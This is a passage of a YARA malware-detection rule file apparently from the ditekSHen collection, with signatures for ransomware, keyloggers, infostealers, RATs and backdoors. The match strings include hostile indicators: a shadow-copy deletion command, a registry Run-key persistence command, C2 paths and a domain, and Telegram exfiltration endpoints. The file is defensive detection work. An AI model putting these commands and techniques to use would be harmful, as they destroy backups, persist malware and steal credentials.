		author = "ditekSHen"
		id = "734ece56-b993-5b44-ae15-f673fabfe8ad"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L717-L740"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "24bfd32580f784440252d629a7ab86b84a570ded34409940616be2a89bf73088"
		score = 75
		quality = 75
		tags = "FILE"
		snort_sid = "920008-920009"
		clamav_sig = "MALWARE.Win.Ransomware.VSSDestroy"
	strings:
		$o1 = "[SHARESSCAN]" wide
		$o2 = "[LDRIVESSCAN]" wide
		$o3 = "[LOGSAVED]" wide
		$o4 = "[LPROGRESS]" wide
		$o5 = "[FINISHSAVED]" wide
		$o6 = "[ALL_LOCAL_KID]" wide
		$o7 = "[DIRSCAN" wide
		$o8 = "[GENKEY]" wide
		$s1 = "\\cmd.exe" nocase wide
		$s2 = "/C powershell \"" nocase wide
		$s3 = "%COMPUTERNAME%" wide
		$s4 = "%USERNAME%" wide
		$s5 = "Error loading Socket interface (ws2_32.dll)!" wide
		$s6 = "Old file list dump found. Want to load it? (y/n):" fullword wide
	condition:
		( uint16( 0 ) == 0x5a4d and 4 of ( $o* ) and 3 of ( $s* ) ) or ( 5 of ( $o* ) and 4 of ( $s* ) )
}

rule DITEKSHEN_MALWARE_Win_Goldenaxe : FILE
{
	meta:
		description = "GoldenAxe ransomware payload"
		author = "ditekSHen"
		id = "23874106-dbbb-5cb2-b61a-1661d8e2d868"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L742-L763"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "6dfd88ce65acdfed4749e3b817b317c3c514ea42f892a7f5f95853c148507918"
		score = 75
		quality = 75
		tags = "FILE"
		clamav_sig = "MALWARE.Win.Ransomware.GoldenAxe"
	strings:
		$s1 = "Go build ID: " ascii
		$s2 = "taskkill.exe" ascii
		$s3 = "cmd.exe" ascii
		$s4 = "Speak.Speak" ascii
		$s5 = "CLNTSRVRnull" ascii
		$s6 = "-----END" ascii
		$s7 = "-----BEGIN" ascii
		$s8 = ".EncryptFile" ascii
		$g1 = "GoldenAxe/Utils." ascii
		$g2 = "GoldenAxe/Cryptography." ascii
		$g3 = "GoldenAxe/Walker." ascii
		$g4 = "C:/Users/alpha/go/src/GoldenAxe/" ascii
		$g5 = "'Golden Axe ransomware'" ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( all of ( $s* ) or ( 1 of ( $g* ) and 1 of ( $s* ) ) )
}

rule DITEKSHEN_MALWARE_Win_Getcrypt : FILE
{
	meta:
		description = "GetCrypt ransomware payload"
		author = "ditekSHen"
		id = "fb6db807-372f-59e6-96c6-54dd4ece336d"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L789-L825"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "fd7ee98757c3ac1f2b2a4dd9041c78d33273d7a7d596c3d99c6b8d79988f29f1"
		score = 75
		quality = 73
		tags = "FILE"
		clamav_sig1 = "MALWARE_Win.Ransomware.GetCrypt-1"
		clamav_sig2 = "MALWARE_Win.Ransomware.GetCrypt-2"
	strings:
		$x1 = "delete shadows /all /quiet" wide
		$x2 = "C:\\Windows\\System32\\svchost.exe" fullword wide
		$x3 = "desk.bmp" fullword wide
		$x4 = ":\\Boot" fullword wide
		$x5 = "\\encrypted_key.bin" fullword wide
		$x6 = "vssadmin.exe" fullword wide
		$x7 = ":\\Recovery" fullword wide
		$s1 = "CryptEncrypt" fullword ascii
		$s2 = "NtWow64ReadVirtualMemory64" fullword ascii
		$s3 = "MPR.dll" fullword ascii
		$s4 = "%key%" fullword ascii
		$s5 = "CryptDestroyKey" fullword ascii
		$s6 = "ntdll.dll" fullword ascii
		$s7 = "WNetCancelConnection2W" fullword ascii
		$s8 = ".%c%c%c%c" fullword wide
		$s10 = { 43 72 79 70 74 49 6d 70 6f 72 74 4b 65 79 00 00
                 cb 00 43 72 79 70 74 45 6e 63 72 79 70 74 00 00
                 c1 00 43 72 79 70 74 41 63 71 75 69 72 65 43 6f
                 6e 74 65 78 74 41 00 00 c8 00 43 72 79 70 74 44
                 65 73 74 72 6f 79 4b 65 79 00 d2 00 43 72 79 70
                 74 47 65 6e 52 61 6e 64 6f 6d 00 00 c2 00 43 72
                 79 70 74 41 63 71 75 69 72 65 43 6f 6e 74 65 78
                 74 57 00 00 41 44 56 41 50 49 33 32 2e 64 6c 6c
                 00 00 b5 01 53 68 65 6c 6c 45 78 65 63 75 74 65
                 45 78 57 00 53 48 45 4c 4c 33 32 2e 64 6c 6c 00 }
	condition:
		uint16( 0 ) == 0x5a4d and ( 3 of ( $x* ) or 8 of ( $s* ) )
}

rule DITEKSHEN_MALWARE_Joego : FILE
{
	meta:
		description = "JoeGo ransomware payload"
		author = "ditekSHen"
		id = "23d38bcd-e66d-5ff1-ad6a-3e6432d83562"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L827-L847"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "3ddf3506aefb3cd1845f9daa689848a02a2422ca98c5c984bc918cc7ea2b2677"
		score = 75
		quality = 75
		tags = "FILE"
		clamav_sig = "MALWARE.Win.Ransomware.JoeGo"
	strings:
		$go = "Go build ID:" ascii
		$s1 = "%SystemRoot%\\system32\\%v." ascii
		$s2 = "REG ADD HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /V" ascii
		$s3 = "/t REG_SZ /F /D %userprofile%\\" ascii
		$s4 = "(sensitive) [recovered]" ascii
		$s5 = "/dev/stderr/dev/stdout/index.html" ascii
		$s6 = "%userprofile%\\SystemApps" ascii
		$s7 = "p=<br>ACDTACSTAEDTAESTAKDTAKSTAWSTA" ascii
		$cnc1 = "/detail.php" ascii
		$cnc2 = "/checkin.php" ascii
		$cnc3 = "/platebni_brana.php" ascii
		$cnc4 = "://nebezpecnyweb.eu/" ascii
	condition:
		uint16( 0 ) == 0x5a4d and $go and ( all of ( $s* ) or ( 3 of ( $s* ) and 1 of ( $cnc* ) ) )
}

rule DITEKSHEN_MALWARE_Win_Aurora : FILE
{
	meta:
		description = "Aurora ransomware payload"
		author = "ditekSHen"
		id = "d3eafe9c-c8d9-5744-ba5d-4eb0249cceea"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L849-L869"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "056bb11e8b947ef90462503db82b2001e4a5d4847fad9c0d5d771384a80d779a"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "Software\\Microsoft\\Windows\\CurrentVersion\\Run" fullword ascii wide
		$s2 = "#DECRYPT_MY_FILES#.txt" fullword ascii
		$s3 = "/gen.php?generate=" fullword ascii
		$s4 = "geoplugin.net/php.gp" ascii
		$s5 = "/end.php?id=" fullword ascii
		$s6 = "wotreplay" fullword ascii
		$s7 = "moneywell" fullword ascii
		$s8 = "{btc}" fullword ascii
		$s9 = ".?AV_Locimp@locale@std@@" ascii
		$s10 = ".?AV?$codecvt@DDU_Mbstatet@@@std@@" ascii
		$s11 = ".?AU_Crt_new_delete@std@@" ascii
		$pdb1 = "\\z0ddak\\Desktop\\source\\Release\\Ransom.pdb" ascii
		$pdb2 = "\\Desktop\\source\\Release\\Ransom.pdb" ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( ( 1 of ( $pdb* ) and 5 of ( $s* ) ) or ( 8 of them ) )
}

rule DITEKSHEN_MALWARE_Win_Buran : FILE
{
	meta:
		description = "Buran ransomware payload"
		author = "ditekSHen"
		id = "1433bac5-2ece-54bb-8e57-b5834fffc719"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L871-L903"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "eaf50d824dbade0ca63fafc5b4a376553039de9b51a0f6387cb28c8f91a7e0b9"
		score = 75
		quality = 73
		tags = "FILE"
		clamav_sig = "MALWARE.Win.Ransomware.Buran"
	strings:
		$v1_1 = "U?$error_info_injector@V" ascii
		$v1_2 = "Browse for Folder (FTP)" fullword ascii
		$v1_3 = "Find/Replace in Files" fullword ascii
		$v1_4 = "PAHKLM" fullword ascii
		$v1_5 = "PAHKCR" fullword ascii
		$v1_6 = "chkOpt_" ascii
		$h1 = "Search <a href=\"location\" class=\"menu\">in this folder</a>" ascii
		$h2 = "<br>to find where the text below" ascii
		$h3 = "</a> files with these extensions (separate with semi-colons)" ascii
		$h4 = "Need help with <a href=\"" ascii
		$path = "\\work\\cr\\nata\\libs\\boost_" wide
		$v2_1 = "(ShlObj" fullword ascii
		$v2_2 = "\\StreamUnit" fullword ascii
		$v2_3 = "TReadme" fullword ascii
		$v2_4 = "TDrivesAndShares" fullword ascii
		$v2_5 = "TCustomMemoryStreamD" fullword ascii
		$v2_6 = "OpenProcessToken" fullword ascii
		$v2_7 = "UrlMon" fullword ascii
		$v2_8 = "HttpSendRequestA" fullword ascii
		$v2_9 = "InternetConnectA" fullword ascii
		$v2_10 = "FindFiles" fullword ascii
		$v2_12 = "$*@@@*$@@@$" ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( ( ( all of ( $v1* ) and 1 of ( $h* ) ) or ( $path and 2 of ( $v1* ) and 1 of ( $h* ) ) or 10 of them ) or all of ( $v2* ) )
}

rule DITEKSHEN_MALWARE_Win_Masslogger : FILE
{
	meta:
		description = "MassLogger keylogger payload"
		author = "ditekSHen"
		id = "9181b89a-2ce8-59b6-9703-c01a8471b8d6"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L905-L934"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "7d8bbefa71a1eb20cd9d029bd516d6c37e39cfa053ed0617eace200d210d9b58"
		score = 75
		quality = 73
		tags = "FILE"
	strings:
		$s1 = "MassLogger v" ascii wide
		$s2 = "MassLogger Started:" ascii wide
		$s3 = "MassLogger Process:" ascii wide
		$s4 = "/panel/upload.php" wide
		$s5 = "ftp://" wide
		$s6 = "\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}" fullword wide
		$s7 = "^(.*/)?([^/\\\\.]+/\\\\.\\\\./)(.+)$" fullword wide
		$s8 = "Bot Killer" ascii
		$s9 = "Keylogger And Clipboard" ascii
		$c1 = "costura.ionic.zip.reduced.dll.compressed" fullword ascii
		$c2 = "CHECKvUNIQUEq" fullword ascii
		$c3 = "HOOK/MEMORY6" fullword ascii
		$c4 = "Massfile" ascii wide
		$c5 = "Fz=[0-9]*'skips*" fullword ascii
		$c6 = ":=65535zO" fullword ascii
		$c7 = "!$!%!&!'!(!)!*!.!/!0!4!" fullword ascii
		$c8 = "5!9!:!<!>!@!E!G!J!K!L!N!O!P!`!" fullword ascii
		$c9 = "dllToLoad" fullword ascii
		$c10 = "set_CreateNoWindow" fullword ascii
		$c11 = "FtpWebRequest" fullword ascii
		$c12 = "encryptedUsername" fullword ascii
		$c13 = "encryptedPassword" fullword ascii
	condition:
		( uint16( 0 ) == 0x5a4d and 9 of ( $c* ) ) or ( 5 of ( $s* ) or 9 of ( $c* ) )
}

rule DITEKSHEN_MALWARE_Win_Echelon : FILE
{
	meta:
		description = "Echelon information stealer payload"
		author = "ditekSHen"
		id = "e13d2003-c755-5dd3-bb16-8e41dd19a151"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L936-L957"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "c070bf52cc51dd334ea24614e33eaa2b7b1a17e7790e586cbbb8c7e33ba1bd76"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "<GetStealer>b__" ascii
		$s2 = "clearMac" fullword ascii
		$s3 = "path2save" fullword ascii
		$s4 = "Echelon_Size" fullword ascii
		$s5 = "Echelon Stealer by" wide
		$s6 = "get__masterPassword" fullword ascii
		$s7 = "DomainDetect" fullword ascii
		$s8 = "[^\\u0020-\\u007F]" fullword wide
		$s9 = "/sendDocument?chat_id=" wide
		$s10 = "//setting[@name='Password']/value" wide
		$s11 = "Passwords_Mozilla.txt" fullword wide
		$s12 = "Passwords_Edge.txt" fullword wide
		$s13 = "@madcod" ascii wide
		$pdb = "\\Echelon-Stealer-master\\obj\\Release\\Echelon.pdb" ascii
	condition:
		( uint16( 0 ) == 0x5a4d and ( 8 of ( $s* ) or $pdb ) ) or ( 8 of ( $s* ) or $pdb )
}

rule DITEKSHEN_MALWARE_Win_Orion : FILE
{
	meta:
		description = "Orion Keylogger payload"
		author = "ditekSHen"
		id = "b380b93b-6ceb-5244-aeca-b1f8f9a5b553"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L985-L1005"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "9e5521ebaf9bdef6dadd2a2a093bd6f87ded023d9a74db126ac8ec9a5f1f9744"
		score = 75
		quality = 73
		tags = "FILE"
	strings:
		$s1 = "\\Ranger.BrowserLogging" ascii wide nocase
		$s2 = "GrabAccounts" fullword ascii
		$s3 = "DownloadFile" fullword ascii
		$s4 = "Internet Explorer Recovery" wide
		$s5 = "Outlook Recovery" wide
		$s6 = "Thunderbird Recovery" wide
		$s7 = "Keylogs -" wide
		$s8 = "WebCam_Capture.dll" wide
		$s9 = " is not installed on this computer!" wide
		$s10 = "cmd /c bfsvc.exe \"" wide
		$s11 = "/Keylogs - PC:" fullword wide
		$s12 = "/PC:" fullword wide
		$s13 = "<p style=\"color:#CC7A00\">[" wide
	condition:
		( uint16( 0 ) == 0x5a4d and 5 of ( $s* ) ) or ( 6 of ( $s* ) )
}

rule DITEKSHEN_MALWARE_Win_Aspire : FILE
{
	meta:
		description = "Aspire Keylogger payload"
		author = "ditekSHen"
		id = "25724975-f373-553e-b27e-43168e956c16"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L1007-L1022"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "3ea0136dbacb79e4c7556f562d17b26b84ac3e4c967b117021e2399ded0a0fdf"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "AspireLogger -" wide
		$s2 = "Application: @" wide
		$s3 = "encryptedUsername" wide
		$s4 = "encryptedPassword" wide
		$s5 = "Fetch users fron logins" wide
		$s6 = "URI=file:" wide
		$s7 = "signons.sqlite" wide
		$s8 = "logins.json" wide
	condition:
		( uint16( 0 ) == 0x5a4d and 6 of ( $s* ) ) or ( 7 of ( $s* ) )
}

rule DITEKSHEN_MALWARE_Win_S05Kitty : FILE
{
	meta:
		description = "Sector05 Kitty RAT payload"
		author = "ditekSHen"
		id = "3261f6b6-21e7-5195-98db-9607ba530572"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L1024-L1045"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "df2930694671c9ca16f2afeb799704647c9acf32be118706c342347ffe8ceb36"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "Execute Comand" ascii
		$s2 = "InjectExplorer" ascii
		$s3 = "targetProcess = %s" fullword ascii
		$s4 = "Process attach (%s)" fullword ascii
		$s5 = "process name: %s" fullword ascii
		$s6 = "cmd /c %s >%s" fullword ascii
		$s7 = "CmdDown: %s, failed" fullword ascii
		$s8 = "http://%s%s/%s" fullword ascii
		$s9 = "tmp.LOG" fullword ascii
		$x1 = "zerodll.dll" fullword ascii
		$x2 = "OneDll.dll" fullword ascii
		$x3 = "kkd.bat" fullword ascii
		$x4 = "%s\\regsvr32.exe /s \"%s\"" fullword ascii
		$x5 = "\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\fontchk.jse" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( 8 of ( $s* ) or all of ( $x* ) )
}

rule DITEKSHEN_MALWARE_Win_Fakewmi : FILE
{
	meta:
		description = "FakeWMI payload"
		author = "ditekSHen"
		id = "689bc207-2bc6-50de-80d6-d1ba0a26b264"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L1047-L1064"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "627886cdd01f5f02e454ef284c77c87eb027ee33f6a51536758fb7f095271a40"
		score = 75
		quality = 75
		tags = "FILE"
		clamav_sig = "MALWARE.Win.Trojan.Fakewmi"
	strings:
		$s1 = "-BEGIN RSA PUBLIC KEY-" ascii
		$s2 = ".exe|" ascii
		$s3 = "cmd /c wmic " ascii
		$s4 = "cmd /c sc " ascii
		$s5 = "schtasks" ascii
		$s6 = "taskkill" ascii
		$s7 = "findstr" ascii
		$s8 = "netsh interface" ascii
		$s9 = "CreateService" ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( all of ( $s* ) and #s2 > 10 )
}

rule DITEKSHEN_MALWARE_Win_Baldr : FILE
{
	meta:
		description = "Baldr payload"
		author = "ditekSHen"
		id = "cdc35a11-a97b-5e21-929e-01fed5172b55"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L1066-L1083"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "f8e97fd618209bc6ce609b60b1e1f1e359be7678474fad3b18a529487c64cd99"
		score = 75
		quality = 73
		tags = "FILE"
		clamav_sig = "MALWARE.Win.Trojan.Baldr"
	strings:
		$x1 = "BALDR VERSION : {0}" fullword wide
		$x2 = "Baldr" fullword ascii wide
		$x3 = "{0}\\{1:n}.exe" fullword wide
		$x4 = ".doc;.docx;.log;.txt;" fullword wide
		$s1 = "<GetMAC>b__" ascii
		$s2 = "<ExtractPrivateKey3>b__" ascii
		$s3 = "UploadData" fullword ascii
		$s6 = "get_NetworkInterfaceType" fullword ascii
		$s5 = "get_Passwordcheck" fullword ascii
	condition:
		( uint16( 0 ) == 0x5a4d and all of ( $x* ) ) or ( 2 of ( $x* ) and 4 of ( $s* ) )
}

rule DITEKSHEN_MALWARE_Win_Rietspoof : FILE
{
	meta:
		description = "Rietspoof payload"
		author = "ditekSHen"
		id = "b2d94705-ca59-56ae-8471-2c6895d355dc"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L1110-L1140"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "d1d9baab83c904d1e8dcd7aeacdabfc79c1acee67006793c2240a42ebf9c62b2"
		score = 75
		quality = 73
		tags = "FILE"
		clamav_sig = "MALWARE.Win.Trojan.Rietspoof"
	strings:
		$c1 = "%s%s%s USER: user" fullword ascii
		$c2 = "cmd /c %s" fullword ascii
		$c3 = "CreateObject(\"Scripting.FileSystemObject\").DeleteFile(" ascii
		$c4 = "WScript.Quit" fullword ascii
		$c5 = "CPU: %s(%d)" fullword ascii
		$c6 = "RAM: %lld Mb" fullword ascii
		$c7 = "data.dat" fullword ascii
		$c8 = "%s%s%s USER:" ascii
		$v1_1 = ".vbs" ascii
		$v1_2 = "HELLO" ascii
		$v1_3 = "Wscript.Sleep" ascii
		$v1_4 = "User-agent:Mozilla/5.0 (Windows; U;" ascii
		$v2_1 = "Xjoepxt!" ascii
		$v2_2 = "Content-MD5:%s" fullword ascii
		$v2_3 = "M9h5an8f8zTjnyTwQVh6hYBdYsMqHiAz" fullword ascii
		$v2_4 = "GET /%s?%s HTTP/1.1" fullword ascii
		$v2_5 = "GET /?%s HTTP/1.1" fullword ascii
		$pdb1 = "\\techloader\\loader\\loader.odb" ascii wide
		$pdb2 = "\\loader\\Release\\loader_v1.0.pdb" ascii wide
	condition:
		uint16( 0 ) == 0x5a4d and ( 7 of ( $c* ) and ( 3 of ( $v* ) or 1 of ( $pdb* ) ) )
}

rule DITEKSHEN_MALWARE_Win_Modirat : FILE
{
	meta:
		description = "MoDiRAT payload"
		author = "ditekSHen"
		id = "8b641c7a-5ebd-50e7-83cb-e408683c456b"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L1142-L1158"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "d0760e9dab7e9c0affb2193ea249feea8bb58e519522ca2a562f015059ad5590"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "add_Connected" fullword ascii
		$s2 = "Statconnected" fullword ascii
		$s3 = "StartConnect" fullword ascii
		$s4 = "TelegramTitleDetect" fullword ascii
		$s5 = "StartTitleTelegram" fullword ascii
		$s6 = "Check_titles" fullword ascii
		$s7 = "\\MoDi RAT V" ascii
		$s8 = "IsBuzy" fullword ascii
		$s9 = "Recording_Time" fullword wide
	condition:
		( uint16( 0 ) == 0x5a4d and 7 of them ) or all of them
}

rule DITEKSHEN_MALWARE_WIN_BACKSPACE : FILE
{
	meta:
		description = "BACKSPACE backdoor payload"
		author = "ditekSHen"
		id = "ff9b1c2e-66a1-5e09-8bc2-a7543161e518"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L1227-L1247"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "3d366327c2272761349687b11e4d6baada5000936dc7f81665e0303f7d1e5121"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "Software\\Microsoft\\PnpSetup" ascii wide
		$s2 = "Mutex_lnkword_little" ascii wide
		$s3 = "(Prxy%c-%s:%u)" fullword ascii
		$s4 = "(Prxy-No)" fullword ascii
		$s5 = "/index.htm" fullword ascii
		$s6 = "CONNECT %s:%d" ascii
		$s7 = "\\$NtRecDoc$" fullword ascii
		$s8 = "qazWSX123$%^" ascii
		$s9 = "Software\\Microsoft\\Core" ascii wide
		$s10 = "Mutex_lnkch" ascii wide
		$s11 = "Event__lnkch__" ascii wide
		$s12 = "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)" fullword ascii
		$s13 = "User-Agent: Mozilla/5.00 (compatible; MSIE 6.0; Win32)" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and 8 of them
}

rule DITEKSHEN_MALWARE_Win_Rhttpctrl : FILE
{
	meta:
		description = "RHttpCtrl backdoor payload"
		author = "ditekSHen"
		id = "fa80db13-90af-5d6a-bcc2-ad1f6808268e"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L1249-L1265"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "a8b27fcc4636c2fe02a0e006295ece7f705cc9a042921f66ef1f9b6a88aaf9a1"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "%d_%04d%02d%02d%02d%02d%02d." ascii
		$s2 = "ver=%s&id=%06d&type=" ascii
		$s3 = "ver=%d&id=%s&random=%d&" ascii
		$s4 = "id=%d&output=%s" ascii
		$s5 = "Error:WinHttpCrackUrl failed!/n" ascii
		$s6 = "Error:SendRequest failed!/n" ascii
		$s7 = ".exe a %s %s" ascii
		$s8 = "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0" fullword wide
		$pdb = "\\WorkSources\\RHttpCtrl\\Server\\Release\\svchost.pdb" ascii
	condition:
		uint16( 0 ) == 0x5a4d and ( 5 of ( $s* ) or ( $pdb and 2 of ( $s* ) ) )
}

rule DITEKSHEN_MALWARE_Win_Blackshadesrat : FILE
{
	meta:
		description = "BlackshadesRAT / Cambot POS payload"
		author = "ditekSHen"
		id = "bd0ad920-109a-50b5-94af-6580684bff52"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L1285-L1300"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "5c2a76ce52bce9c37a3518ff459011acb733c2c5abac74786e41a1c169459ce2"
		score = 75
		quality = 75
		tags = "FILE"
		snort_sid = "920208-920210"
	strings:
		$s1 = "bhookpl.dll" fullword wide
		$s2 = "drvloadn.dll" fullword wide
		$s3 = "drvloadx.dll" fullword wide
		$s4 = "SPY_NET_RATMUTEX" fullword wide
		$s5 = "\\dump.txt" fullword wide
		$s6 = "AUTHLOADERDEFAULT" fullword wide
		$pdb = "*\\AC:\\Users\\Admin\\Desktop_old\\Blackshades project\\bs_bot\\bots\\bot\\bs_bot.vbp" fullword wide
	condition:
		uint16( 0 ) == 0x5a4d and ( 4 of ( $s* ) or ( $pdb and 2 of ( $s* ) ) )
}

rule DITEKSHEN_MALWARE_Win_Plurox : FILE
{
	meta:
		description = "Plurox backdoor payload"
		author = "ditekSHen"
		id = "c8a97132-c1d5-5456-a055-d46a9399dbdd"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L1316-L1328"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "c2ec2ce7a9210d8eebb06c755eab51cab93fe6d48d737fd1756ffe42d46b35d1"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "autorun.c" fullword ascii
		$s2 = "launcher.c" fullword ascii
		$s3 = "loader.c" fullword ascii
		$s4 = "stealth.c" fullword ascii
		$s5 = "RunFromMemory" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and all of them
}

rule DITEKSHEN_MALWARE_Win_Avalon : FILE
{
	meta:
		description = "Avalon infostealer payload"
		author = "ditekSHen"
		id = "3de01419-9f45-5d82-8391-2e1e41df2b34"
		date = "2020-11-06"
		modified = "2024-11-01"
		reference = "https://github.com/ditekshen/detection"
		source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L1330-L1359"
		license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt"
		logic_hash = "1aa9dc09ec4c8962dee0455dd367e32139e4c03f1b306f17ac6e82d71aacf713"
		score = 75
		quality = 75
		tags = "FILE"
	strings:
		$s1 = "Parsecards" fullword ascii
		$s2 = "Please_Gofuckyouself" fullword ascii
		$s3 = "GetDomainDetect" fullword ascii
		$s4 = "GetTotalCommander" fullword ascii
		$s5 = "KnownFolder" fullword ascii
		$s6 = "set_hidden" fullword ascii
		$s7 = "set_system" fullword ascii
		$l1 = "\\DomainDetect.txt" wide
		$l2 = "\\Grabber_Log.txt" wide
